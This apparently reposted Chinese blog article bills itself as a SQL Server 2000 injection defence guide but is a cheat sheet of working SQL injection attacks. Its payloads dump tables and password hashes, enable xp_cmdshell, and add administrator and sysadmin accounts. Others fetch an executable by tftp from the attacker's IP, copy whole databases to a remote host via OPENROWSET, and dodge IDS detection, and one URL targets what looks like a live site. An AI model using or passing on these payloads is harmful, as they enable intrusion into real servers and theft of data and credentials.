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  • SQL Server 2000 注入防护大全 zt

    SQL Server 2000 注入防护大全

    Sql注入早源于'or'1'='1

    最重要的表名:


    select * from sysobjects
    sysobjects ncsysobjects
    sysindexes tsysindexes
    syscolumns
    systypes
    sysusers
    sysdatabases
    sysxlogins
    sysprocesses


      最重要的一些用户名(默认sql数据库中存在着的)


    public
    dbo
    guest(一般禁止,或者没权限)
    db_sercurityadmin
    ab_dlladmin


      一些默认扩展


    xp_regaddmultistring
    xp_regdeletekey
    xp_regdeletevalue
    xp_regenumkeys
    xp_regenumvalues
    xp_regread
    xp_regremovemultistring
    xp_regwrite
    xp_availablemedia 驱动器相关
    xp_dirtree 目录
    xp_enumdsn ODBC连接
    xp_loginconfig 服务器安全模式信息
    xp_makecab 创建压缩卷
    xp_ntsec_enumdomains domain信息
    xp_terminate_process 终端进程,给出一个PID

    例如:


    sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'
    exec xp_webserver
    sp_dropextendedproc 'xp_webserver'
    bcp "select * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp
    -c -Slocalhost -Usa -Pfoobar
    ' group by users.id having 1=1-
    ' group by users.id, users.username, users.password, users.privs having 1=1-
    '; insert into users values( 666, 'attacker', 'foobar', 0xffff )-

    union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable'-
    union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id')-
    union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id','login_name')-
    union select TOP 1 login_name FROM logintable-
    union select TOP 1 password FROM logintable where login_name='Rahul'--


      构造语句:查询是否存在xp_cmdshell


    ' union select @@version,1,1,1--
    and 1=(select @@VERSION)
    and 'sa'=(select System_user)
    ' union select ret,1,1,1 from foo--
    ' union select min(username),1,1,1 from users where username > 'a'-
    ' union select min(username),1,1,1 from users where username > 'admin'-
    ' union select password,1,1,1 from users where username = 'admin'--
    and user_name()='dbo'
    and 0<>(select user_name()-
    ; DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user swap 5245886 /add'
    and 1=(select count(*) FROM master.dbo.sysobjects where
    xtype = 'X' AND name = 'xp_cmdshell')
    ;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'


    1=(%20select%20count(*)%20from%20master.dbo.sysobjects%20where%20xtype='x'%20and%20name='xp_cmdshell')
    and 1=(select IS_SRVROLEMEMBER('sysadmin')) 判断sa权限是否
    and 0<>(select top 1 paths from newtable)-- 暴库大法
    and 1=(select name from master.dbo.sysdatabases where dbid=7) 得到库名(从1到5都是系统的id,6以上才可以判断)


      创建一个虚拟目录E盘:


    declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认 Web 站点" -v "e","e:\"'
    访问属性:(配合写入一个webshell)
    declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse'


    and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
    依次提交 dbid = 7,8,9.... 得到更多的数据库名
    and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一个表 假设为 admin

    and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in ('Admin')) 来得到其他的表。
    and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin'
    and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
    and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id
    and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
    ('id',...)) 来暴出其他的字段
    and 0<(select user_id from BBS.dbo.admin where username>1)

      可以得到用户名 依次可以得到密码。。。。。假设存在user_id username ,password 等字段


    Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
    Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin


    (union语句到处风靡啊,access也好用

      暴库特殊技巧::%5c='\' 或者把/和\ 修改%5提交


    and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
    and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名
    and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address'))
    and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 判断id值
    and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段

    _blank>http://xx.xx.xx.xx/111.asp?id=3400;create table [dbo].[swap] ([swappass][char](255));--

    _blank>http://xx.xx.xx.xx/111.asp?id=3400 and (select top 1 swappass from swap)=1
    ;create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\', @value_name='/', values=@test OUTPUT insert into paths(path) values(@test)

    _blank>http://61.131.96.39/PageShow.asp?TianName=政策法规&InfoID={57C4165A-4206-4C0D-A8D2-E70666EE4E08};use%20master;declare%20@s%20%20int;exec%20sp_oacreate%20"wscript.shell",@s%20out;exec%20sp_oamethod%20@s,"run",NULL,"cmd.exe%20/c%20ping%201.1.1.1";--


      得到了web路径d:\xxxx,接下来:


    _blank>http://xx.xx.xx.xx/111.asp?id=3400;use ku1;--
    _blank>http://xx.xx.xx.xx/111.asp?id=3400;create table cmd (str image);--


      传统的存在xp_cmdshell的测试过程:


    ;exec master..xp_cmdshell 'dir'
    ;exec master.dbo.sp_addlogin hax;--
    ;exec master.dbo.sp_password null,hax,hax;--
    ;exec master.dbo.sp_addsrvrolemember hax sysadmin;--
    ;exec master.dbo.xp_cmdshell 'net user hax 5258 /workstations:* /times:all /passwordchg:yes /passwordreq:yes / active:yes /add';--
    ;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--
    exec master..xp_servicecontrol 'start', 'schedule'
    exec master..xp_servicecontrol 'start', 'server'
    http://www.xxx.com/list.asp?classid=1; DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user swap 5258 /add'
    ;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net localgroup administrators swap/add'

    _blank>http://localhost/show.asp?id=1'; exec master..xp_cmdshell 'tftp -i youip get file.exe'-

    declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
    declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'
    ;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat'
    如果被限制则可以。
    select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin hax')

    传统查询构造:
    select * FROM news where id=... AND topic=... AND .....
    admin'and 1=(select count(*) from [user] where username='victim' and right(left(userpass,01),1)='1') and userpass <>'
    select 123;--
    ;use master;--
    :a' or name like 'fff%';-- 显示有一个叫ffff的用户哈。
    'and 1<>(select count(email) from [user]);--
    ;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where name='ffff';--

      说明:
      上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
      通过查看ffff的用户资料可得第一个用表叫ad
      然后根据表名ad得到这个表的ID
    ffff';update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';--

      象下面这样就可以得到第二个表的名字了
    ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110) where name='ffff';--
    ffff';update [users] set email=(select top 1 count(id) from password) where name='ffff';--
    ffff';update [users] set email=(select top 1 pwd from password where id=2)
    where name='ffff';--

    ffff';update [users] set email=(select top 1 name from password where id=2)
    where name='ffff';--

    exec master..xp_servicecontrol 'start', 'schedule'
    exec master..xp_servicecontrol 'start', 'server'
    sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'

      扩展存储就可以通过一般的方法调用:
    exec xp_webserver

      一旦这个扩展存储执行过,可以这样删除它:
    sp_dropextendedproc 'xp_webserver'

    insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+
    char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-

    insert into users values( 667,123,123,0xffff)-

    insert into users values ( 123, 'admin''--', 'password', 0xffff)-

    ;and user>0
    ;;and (select count(*) from sysobjects)>0
    ;;and (select count(*) from mysysobjects)>0 //为access数据库

      通常注射的一些介绍:
      A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:
      select * from 表名 where 字段=49
      注入的参数为ID=49 And [查询条件],即是生成语句:
      select * from 表名 where 字段=49 And [查询条件]

      (B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:
      select * from 表名 where 字段='连续剧'
      注入的参数为Class=连续剧' and [查询条件] and ''=' ,即是生成语句:
      select * from 表名 where 字段='连续剧' and [查询条件] and ''=''

      (C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
      select * from 表名 where 字段like '%关键字%'
      注入的参数为keyword=' and [查询条件] and '%25'=', 即是生成语句:
      select * from 表名 where字段like '%' and [查询条件] and '%'='%'
      ;;and (select Top 1 name from sysobjects where xtype='U' and status>0)>0
      sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype='U' and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。

      ;;and (select Top 1 col_name(object_id('表名'),1) from sysobjects)>0
      从⑤拿到表名后,用object_id('表名')获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。

      post.htm内容:主要是方便输入。


    <iframe name=p src=# width=800 height=350 frameborder=0></iframe>
    <br>
    <form action=http://test.com/count.asp target=p>
    <input name="id" value="1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--" style="750">
    <input type=submit value=">>>">
    <input type=hidden name=fno value="2, 3">
    </form>

      枚举出他的数据表名:
    id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--

      这是将第一个表名更新到aaa的字段处。

      读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>'刚才得到的表名')。
    id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');--

      然后id=1552 and exists(select * from aaa where aaa>5)

      读出第二个表,^^^^^^一个个的读出,直到没有为止。

      读字段是这样:
      id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--

      然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
      id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--
      然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名

    高级技巧:

      [获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
      update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>'你得到的表名' 查出一个加一个]) [ where 条件]
      select top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','table2',…)

      通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]

      [获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
      update 表名 set 字段=(select top 1 col_name(object_id('要查询的数据表名'),字段列如:1) [ where 条件]

      绕过IDS的检测[使用变量]
    declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
    declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'

      1、 开启远程数据库
      基本语法
    select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1' )

      参数: (1) OLEDB Provider name

      2、 其中连接字符串参数可以是任何和端口用来连接,比如
    select * from OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table'

      要复制目标主机的整个数据库,首先要在目标主机上和自己机器上的数据库建立连接(如何在目标主机上建立远程连接,刚才已经讲了),之后insert所有远程表到本地表。

      基本语法:
    insert into OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1') select * from table2

      这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:
    insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table1') select * from table2

    insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysdatabases')
    select * from master.dbo.sysdatabases

    insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysobjects')
    select * from user_database.dbo.sysobjects

    insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _syscolumns')
    select * from user_database.dbo.syscolumns

      之后,便可以从本地数据库中看到目标主机的库结构,这已经易如反掌,不多讲,复制数据库:
    insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table1') select * from database..table1

    insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table2') select * from database..table2

    ......

      3、 复制哈西表(HASH)

      这实际上是上述复制数据库的一个扩展应用。登录密码的hash存储于sysxlogins中。方法如下:
    insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysxlogins') select * from database.dbo.sysxlogins

      得到hash之后,就可以进行暴力破解。这需要一点运气和大量时间。

      遍历目录的方法:
      先创建一个临时表:temp
    '5;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
    5';insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
    5';insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
    5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构,并寸入temp表中

    5';insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看某个文件的内容
    5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\';--
    5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\ *.asp /s/a';--
    5';insert into temp(id) exec master.dbo.xp_cmdshell 'cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc'

    5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- (xp_dirtree适用权限PUBLIC)
    写入表:
    语句1:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
    语句2:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
    语句3:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
    语句4:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
    语句5:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
    语句6:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
    语句7:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
    语句8:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
    语句9:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_MEMBER('db_owner'));--
    把路径写到表中去:
    _blank>http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(100), id int)-
    _blank>http://http://www.xxxxx.com/down/list.asp?id=1;insert  dirs exec master.dbo.xp_dirtree 'c:\'-
    _blank>http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-
    _blank>http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in('@Inetpub'))-
    语句:_blank>http://http://www.xxxxx.com/down/list.asp?id=1;create table dirs1(paths varchar(100), id int)--
    语句:_blank>http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'e:\web'--
    语句:_blank>http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs1)-

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  • 原文地址:https://www.cnblogs.com/liangqihui/p/882143.html
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